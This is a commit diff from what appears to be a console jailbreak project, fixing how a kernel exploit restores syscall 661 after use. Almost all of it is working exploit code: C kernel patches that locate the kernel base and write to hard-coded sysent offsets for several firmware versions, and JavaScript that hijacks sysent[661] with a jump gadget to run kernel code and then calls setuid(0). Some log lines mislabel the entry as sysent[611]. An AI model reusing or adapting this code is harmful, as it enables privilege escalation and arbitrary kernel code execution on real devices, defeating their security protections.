Acctually restore sysent[661]
This commit is contained in:
@@ -25,7 +25,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|||||||
- Fixed `ip6po_rthdr` offset for PS5 by abc
|
- Fixed `ip6po_rthdr` offset for PS5 by abc
|
||||||
- Verified the number of blocking requests needed to be two by abc
|
- Verified the number of blocking requests needed to be two by abc
|
||||||
- Only run kernel exploit once by checking setuid by @JTAG7371
|
- Only run kernel exploit once by checking setuid by @JTAG7371
|
||||||
- Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm
|
- ~~Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm~~
|
||||||
|
- Was not actually restoring syscall. Used a different method/rewrote to
|
||||||
|
restore in kpatch.
|
||||||
|
- Shellcode from 345 bytes to 444 bytes
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
|
|
||||||
|
|||||||
@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field = 0;
|
*pktinfo_field = 0;
|
||||||
u64 *pktinfo_field2 = uap->arg4;
|
u64 *pktinfo_field2 = uap->arg4;
|
||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
|
|
||||||
|
// get kernel base
|
||||||
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
|
u64 *sysent_661_save = uap->arg5;
|
||||||
|
for (int i = 0; i < 0x30; i += 8) {
|
||||||
|
write64(kbase, 0x112d250 + i, sysent_661_save[i / 8]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((always_inline))
|
__attribute__((always_inline))
|
||||||
|
|||||||
@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field = 0;
|
*pktinfo_field = 0;
|
||||||
u64 *pktinfo_field2 = uap->arg4;
|
u64 *pktinfo_field2 = uap->arg4;
|
||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
|
|
||||||
|
// get kernel base
|
||||||
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
|
u64 *sysent_661_save = uap->arg5;
|
||||||
|
for (int i = 0; i < 0x30; i += 8) {
|
||||||
|
write64(kbase, 0x1129f30 + i, sysent_661_save[i / 8]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((always_inline))
|
__attribute__((always_inline))
|
||||||
|
|||||||
@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field = 0;
|
*pktinfo_field = 0;
|
||||||
u64 *pktinfo_field2 = uap->arg4;
|
u64 *pktinfo_field2 = uap->arg4;
|
||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
|
|
||||||
|
// get kernel base
|
||||||
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
|
u64 *sysent_661_save = uap->arg5;
|
||||||
|
for (int i = 0; i < 0x30; i += 8) {
|
||||||
|
write64(kbase, 0x11040c0 + i, sysent_661_save[i / 8]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((always_inline))
|
__attribute__((always_inline))
|
||||||
|
|||||||
@@ -50,6 +50,16 @@ static inline void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field = 0;
|
*pktinfo_field = 0;
|
||||||
u64 *pktinfo_field2 = uap->arg4;
|
u64 *pktinfo_field2 = uap->arg4;
|
||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
|
|
||||||
|
// get kernel base
|
||||||
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
|
|
||||||
|
u64 *sysent_661_save = uap->arg5;
|
||||||
|
for (int i = 0; i < 0x30; i += 8) {
|
||||||
|
write64(kbase, 0x11041b0 + i, sysent_661_save[i / 8]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((always_inline))
|
__attribute__((always_inline))
|
||||||
|
|||||||
@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field = 0;
|
*pktinfo_field = 0;
|
||||||
u64 *pktinfo_field2 = uap->arg4;
|
u64 *pktinfo_field2 = uap->arg4;
|
||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
|
|
||||||
|
// get kernel base
|
||||||
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
|
u64 *sysent_661_save = uap->arg5;
|
||||||
|
for (int i = 0; i < 0x30; i += 8) {
|
||||||
|
write64(kbase, 0x1107f00 + i, sysent_661_save[i / 8]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((always_inline))
|
__attribute__((always_inline))
|
||||||
|
|||||||
@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field = 0;
|
*pktinfo_field = 0;
|
||||||
u64 *pktinfo_field2 = uap->arg4;
|
u64 *pktinfo_field2 = uap->arg4;
|
||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
|
|
||||||
|
// get kernel base
|
||||||
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
|
u64 *sysent_661_save = uap->arg5;
|
||||||
|
for (int i = 0; i < 0x30; i += 8) {
|
||||||
|
write64(kbase, 0x1103f00 + i, sysent_661_save[i / 8]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((always_inline))
|
__attribute__((always_inline))
|
||||||
|
|||||||
@@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field = 0;
|
*pktinfo_field = 0;
|
||||||
u64 *pktinfo_field2 = uap->arg4;
|
u64 *pktinfo_field2 = uap->arg4;
|
||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
|
|
||||||
|
// get kernel base
|
||||||
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
|
u64 *sysent_661_save = uap->arg5;
|
||||||
|
for (int i = 0; i < 0x30; i += 8) {
|
||||||
|
write64(kbase, 0x1100ee0 + i, sysent_661_save[i / 8]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__attribute__((always_inline))
|
__attribute__((always_inline))
|
||||||
|
|||||||
@@ -1519,9 +1519,13 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
|||||||
log("change sys_aio_submit() to sys_kexec()");
|
log("change sys_aio_submit() to sys_kexec()");
|
||||||
// sysent[661] is unimplemented so free for use
|
// sysent[661] is unimplemented so free for use
|
||||||
const sysent_661 = kbase.add(off_sysent_661);
|
const sysent_661 = kbase.add(off_sysent_661);
|
||||||
const sy_narg = kmem.read32(sysent_661);
|
const sysent_661_save = new Buffer(0x30); // sizeof syscall
|
||||||
const sy_call = kmem.read64(sysent_661.add(8));
|
for (let off = 0; off < sysent_661_save.size; off += 8) {
|
||||||
const sy_thrcnt = kmem.read32(sysent_661.add(0x2c));
|
sysent_661_save.write64(off, kmem.read64(sysent_661.add(off)));
|
||||||
|
}
|
||||||
|
log(`sysent[611] save addr: ${sysent_661_save.addr}`);
|
||||||
|
log("sysent[611] save data:");
|
||||||
|
hexdump(sysent_661_save);
|
||||||
// .sy_narg = 6
|
// .sy_narg = 6
|
||||||
kmem.write32(sysent_661, 6);
|
kmem.write32(sysent_661, 6);
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
@@ -1583,22 +1587,24 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
|||||||
die("test jit exec failed");
|
die("test jit exec failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
log("mlock save data for kernel restore");
|
||||||
const pipe_save = restore_info[1];
|
const pipe_save = restore_info[1];
|
||||||
restore_info[1] = pipe_save.addr;
|
restore_info[1] = pipe_save.addr;
|
||||||
log("mlock pipe save data for kernel restore");
|
|
||||||
sysi("mlock", restore_info[1], page_size);
|
sysi("mlock", restore_info[1], page_size);
|
||||||
|
restore_info[4] = sysent_661_save.addr;
|
||||||
|
sysi("mlock", restore_info[4], page_size);
|
||||||
|
|
||||||
|
log("execute kpatch...")
|
||||||
mem.cpy(write_addr, patches.addr, patches.size);
|
mem.cpy(write_addr, patches.addr, patches.size);
|
||||||
sys_void("kexec", exec_addr, ...restore_info);
|
sys_void("kexec", exec_addr, ...restore_info);
|
||||||
|
|
||||||
|
log("munlock save data used in kernel restore");
|
||||||
|
sysi("munlock", restore_info[1], page_size);
|
||||||
|
sysi("munlock", restore_info[4], page_size);
|
||||||
|
|
||||||
log("setuid(0)");
|
log("setuid(0)");
|
||||||
sysi("setuid", 0);
|
sysi("setuid", 0);
|
||||||
log("kernel exploit succeeded!");
|
log("kernel exploit succeeded!");
|
||||||
|
|
||||||
kmem.write32(sysent_661.add(0x2c), sy_thrcnt);
|
|
||||||
kmem.write64(sysent_661.add(8), sy_call);
|
|
||||||
kmem.write32(sysent_661, sy_narg);
|
|
||||||
log("restored sys_aio_submit()");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// FUNCTIONS FOR STAGE: SETUP
|
// FUNCTIONS FOR STAGE: SETUP
|
||||||
|
|||||||
@@ -49,6 +49,7 @@ export const syscall_map = new Map(
|
|||||||
getdirentries: 196,
|
getdirentries: 196,
|
||||||
__sysctl: 202,
|
__sysctl: 202,
|
||||||
mlock: 203,
|
mlock: 203,
|
||||||
|
munlock: 204,
|
||||||
clock_gettime: 232,
|
clock_gettime: 232,
|
||||||
nanosleep: 240,
|
nanosleep: 240,
|
||||||
sched_yield: 331,
|
sched_yield: 331,
|
||||||
|
|||||||
Reference in New Issue
Block a user